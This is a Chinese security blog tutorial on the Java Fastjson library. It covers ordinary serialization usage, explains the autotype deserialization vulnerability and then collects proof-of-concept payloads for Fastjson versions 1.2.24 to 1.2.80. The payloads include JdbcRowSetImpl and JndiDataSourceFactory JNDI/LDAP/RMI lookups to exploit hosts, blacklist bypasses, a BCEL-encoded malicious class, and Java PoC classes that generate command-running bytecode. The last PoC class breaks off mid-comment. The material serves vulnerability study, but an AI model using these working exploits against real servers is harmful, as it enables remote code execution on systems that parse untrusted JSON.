avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Fastjson反序列化基础
文章

Fastjson反序列化基础

Posted 2025-08-8 Updated 2025-08- 12
By Administrator
58~75 min read

参考文章:

Java Fastjson 使用指南

分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集

Java反序列化Fastjson篇01-FastJson基础

简介

Fastjson 是阿里巴巴开源的高性能JSON 解析库,专为 Java 设计,具备超快的 JSON 解析速度和丰富的功能。它支持 JSON 与 Java 对象之间的序列化与反序列化,适用于 Web 应用、分布式系统、缓存等场景。

  • 序列化:JSON.toJSONString 将Java对象转换为json对象

  • 反序列化:JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

依赖配置

在pom中添加

<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.37</version>
</dependency>

JSON 序列化和反序列化

Java对象转JSON字符串(序列化)

import com.alibaba.fastjson.JSON;

class User {
    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    // 省略 getter 和 setter 方法
}

public class FastjsonExample {
    public static void main(String[] args) {
        User user = new User("Alice", 25);
        String jsonString = JSON.toJSONString(user);
        System.out.println(jsonString);
    }
}


输出:

{"age":25,"name":"Alice"}

JSON 字符串转 Java 对象(反序列化)

String json = "{\"age\":25,\"name\":\"Alice\"}";
User user = JSON.parseObject(json, User.class);
System.out.println(user.getName()); // Alice

解析JSON数组

String jsonArray = "[{\"name\":\"Alice\",\"age\":25},{\"name\":\"Bob\",\"age\":30}]";
List<User> users = JSON.parseArray(jsonArray, User.class);
System.out.println(users.get(1).getName()); // Bob

使用 JSONPath 查询 JSON 数据

Fastjson 提供 JSONPath 以便高效查询 JSON 结构化数据。

  • 查询JSON中的某个字段

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONPath;

String json = "{\"name\":\"Alice\",\"age\":25,\"address\":{\"city\":\"Shanghai\",\"zip\":\"200000\"}}";
Object city = JSONPath.read(json, "$.address.city");
System.out.println(city); // Shanghai
  • 查询JSON数组中的对象

String jsonArray = "[{\"name\":\"Alice\",\"age\":25},{\"name\":\"Bob\",\"age\":30}]";
List<Object> names = (List<Object>) JSONPath.read(jsonArray, "$[*].name");
System.out.println(names); // [Alice, Bob]

配置 Fastjson 特性

Fastjson 提供了丰富的配置选项,例如:

  • 格式化 JSON 输出

String prettyJson = JSON.toJSONString(user, true);
System.out.println(prettyJson);
  • 序列化时忽略 null 值

String jsonString = JSON.toJSONString(user, SerializerFeature.WriteMapNullValue);
  • 禁止循环引用

String jsonString = JSON.toJSONString(user, SerializerFeature.DisableCircularReferenceDetect);

常见实践

  • 处理复杂 JSON 结构

JSONObject jsonObject = JSON.parseObject("{\"data\":{\"user\":{\"name\":\"Alice\"}}}");
String name = jsonObject.getJSONObject("data").getJSONObject("user").getString("name");
System.out.println(name); // Alice
  • JSON 转 Map

Map<String, Object> map = JSON.parseObject(json, new TypeReference<Map<String, Object>>() {});
System.out.println(map.get("name"));
  • JSON 转 Java BeanList

List<User> userList = JSON.parseArray(jsonArray, User.class);
System.out.println(userList.get(0).getName());


安全性注意事项

Fastjson 存在反序列化漏洞,尤其是 1.x 版本,容易遭受反序列化攻击。建议采取以下措施:

  1. 升级到 Fastjson 2.x(如 2.0.37),避免已知漏洞。

  2. 启用安全模式:

ParserConfig.getGlobalInstance().setSafeMode(true);
  1. 禁用自动类型解析:

JSON.parseObject(json, Object.class, Feature.SupportAutoType);
  1. 使用白名单机制:

ParserConfig.getGlobalInstance().addAccept("com.example.");

Fastjson反序列化漏洞

Fastjson漏洞原理

总的来说就是通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其反序列化的同时执行了恶意类中的恶意函数,进而导致代码执行。

核心代码:User user = JSON.parseObject(json, User.class);

首先,如何反序列化成恶意类

这里是把json反序列化为User类,那么当然User类的类型越大,可利用空间就越多,如果是Object类,由于Object类是任意类的父类,所以就可以反序列化出所有类

其次,如何触发恶意类中的恶意函数

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。每次获取json数据的详细类型,都要读取@type,而@type 可以指定反序列化任意类调用其set,get,is方法,所以我们需要在这些方法中传入恶意函数,这样在反序列化恶意类时就能触发恶意函数

不过这里需要注意的是并不是所有的get和set方法都会被调用

满足条件的setter

  • 非静态数据

  • 返回类型为void或当前类

  • 参数为1个

满足条件的getter

  • 非静态方法

  • 无参数

  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

poc

{
  "@type": "com.example.User",  // @type指定了反序列化得到的类
  "name": "test",
  "age": 20
}

需要找到目标环境下已存在的类,满足如下两个条件

  1. 该类的getter或setter方法中需要存在危险操作

  2. 可以控制该漏洞函数的变量

漏洞demo

package org.example;



class User {
    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public User() {
    }
    public String getName() {
        return name;
    }

    public int getAge() throws Exception{
        System.out.println("getProperties");
        Runtime.getRuntime().exec("calc");
        return age;
    }


    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonExample {
    public static void main(String[] args) {
       String json = "{\"@type\":\"org.example.User\",\"name\":\"Alice\",\"age\":25}";
        Object  user = JSON.parseObject(json, Object.class);
        System.out.println(user);
        System.out.println(user.getClass().getName()); // Alice

    }
}

第一次没有触发恶意代码,是因为这里的get没有满足返回值类型必须是 Collection / Map / AtomicBoolean / AtomicInteger / AtomicLong(或其子类),这一特点,在这里没有被自动触发,导致代码未被执行。

这里把set方法改成如下就能正确触发了,

 public void setAge(int age)  throws Exception{
        System.out.println("getProperties");
        Runtime.getRuntime().exec("calc");
        this.age = age;
    }

Fastjson漏洞POC收集

Fastjson 1.2.24版本

TemplatesImpl 反序列化

最终Poc为

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意字节码"],
    "_name": "test",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl 反序列化

最终Poc为

{  

    "@type":"com.sun.rowset.JdbcRowSetImpl",  

    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

    "autoCommit":true  

}

Fastjson 1.2.25版本

附上Poc

{  

    "@type":"[com.sun.rowset.JdbcRowSetImpl;",  

    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

    "autoCommit":true  

}  

或   

{  

"a":{  

    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",  

    "dataSourceName":"rmi://test.com:9999/TouchFile",  

    "autoCommit":true  

}  

}

Fastjson 1.2.42版本

最终Poc,添加两个类描述符

{  

  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",  

    "dataSourceName":"ldap://127.0.0.1:1234/Exploit",  

    "autoCommit":true  

}

Fastjson 1.2.43版本

附上poc

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
     "autoCommit":true
    }

    或
    {
    "b":{
        "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
            "dataSourceName":"rmi://test.com:9999/TouchFile",
            "autoCommit":true
        }
    }

Fastjson 1.2.45版本

分析版本来到fastjson1.2.45,此版本升级后,存在一个黑名单匹配绕过,绕过类

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

利用条件如下

  1. 目标服务端存在mybatis的jar包。

  2. 版本需为3.x.x ~ 3.5.0

  3. autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

Poc如下

{  

    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",  

    "properties":{  

        "data_source":"ldap://127.0.0.1:1234/Exploit"  

    }  

}  

或  

{  

    "b":{  

        "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",  

        "properties":{"data_source":"ldap://localhost:1389/Exploit"}  

    }  

}

Fastjson <=1.2.62 和 <=1.2.66版本

积累的两个poc,基于黑名单绕过fastjson <= 1.2.62

{  "@type":"org.apache.xbean.propertyeditor.JndiConverter",  "AsText":"rmi://127.0.0.1:1099/exploit"}";

基于fastjson<=1.2.66的poc

{  "@type":"org.apache.shiro.jndi.JndiObjectFactory",  "resourceName":"ldap://192.168.80.1:1389/Calc"  }

Fastjson 1.2.80版本

构造poc如下,成功弹出计算器

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
    }
}

bit4woo师傅汇总的POC

参考文档:

https://github.com/bit4woo/code2sec.com/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5%E4%B8%83%EF%BC%9Afastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96PoC%E6%B1%87%E6%80%BB.md

基于com.sun.rowset.JdbcRowSetImpl的PoC1

该PoC需要使用JNDI,需要搭建web服务,RMI服务或LDAP服务,利用相对麻烦。但对于检测fastjson漏洞是否存在,这个却是最简单有效的(结合DNSlog)。

package fastjsonPoCs;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/*
 * 基于JNDI的PoC,可用的JNDI服务器有RMI,ldap。
 * 
 */
public class PoC1JNDI {
  public static void main(String[] argv){
    String xx = payload();
  }
  
  public static String payload(){

    //JDK 8u121以后版本需要设置改系统变量
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    //LADP
    String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}";
    //RMI
    String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\",\"autoCommit\":true}";

    JSONObject.parseObject(payload2);
    JSON.parse(payload2);
    return payload2;
  }
}

以上poc共有三个触发点:静态代码块(Class.forName())、类实例化、和getObjectInstance()方法。

基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC2

这个PoC是漏洞利用时最方便的,它不需要依赖JNDI等服务,所有内容一个请求中搞定。

package fastjsonPoCs;

import evilClass.*;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;

/*
 * 基于org.apache.tomcat.dbcp.dbcp.BasicDataSource的PoC,当然也可以说是基于com.sun.org.apache.bcel.internal.util.ClassLoader的PoC
 * 前者的主要作用是触发,也就是包含Class.forName()函数的逻辑(createConnectionFactory函数中);后者是类加载器,可以解析特定格式的类byte[]。
 * 
 * 
 * org.apache.tomcat.dbcp.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-7.0.65.jar
 * org.apache.tomcat.dbcp.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp 比如tomcat-dbcp-9.0.13.jar
 * org.apache.commons.dbcp.BasicDataSource ----- https://mvnrepository.com/artifact/commons-dbcp/commons-dbcp
 * org.apache.commons.dbcp2.BasicDataSource ----- https://mvnrepository.com/artifact/org.apache.commons/commons-dbcp2
 * 
 * 主要参考:https://xz.aliyun.com/t/2272
 */
public class PoC2dbcp {
  public static void main(String[] argv){
    String xx = payload2();
  }
  
  public static String payload2() {
    //payload3:https://xz.aliyun.com/t/2272
    try {
      String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//      payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
      byte[] bytecode = createEvilClass.create("evil","calc");
      String classname = Utility.encode(bytecode,true);
      //System.out.println(classname);
      classname = "org.apache.log4j.spi$$BCEL$$"+classname;
      payload2 = payload2.replace("xxxxxxxxxx", classname);
      
//      ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
//      Class.forName(classname, true, cls);
      JSONObject.parseObject(payload2);
      return payload2;
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    }
  }
}
基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(来自廖新喜)

这个PoC有限制,需要引用程序是如下写法:

JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField)

在实际的环境中基本遇不到,但其中的思路还是值得学习的。

package fastjsonPoCs;

import org.apache.commons.codec.binary.Base64;
import javassist.ClassPool;
import javassist.CtClass;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

/*
 * 该poc来自于廖新喜大佬的文章:http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
 * 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,构造的恶意类需要是继承了AbstractTranslet的。
java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

XXE

NEWER

java-sec-code

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy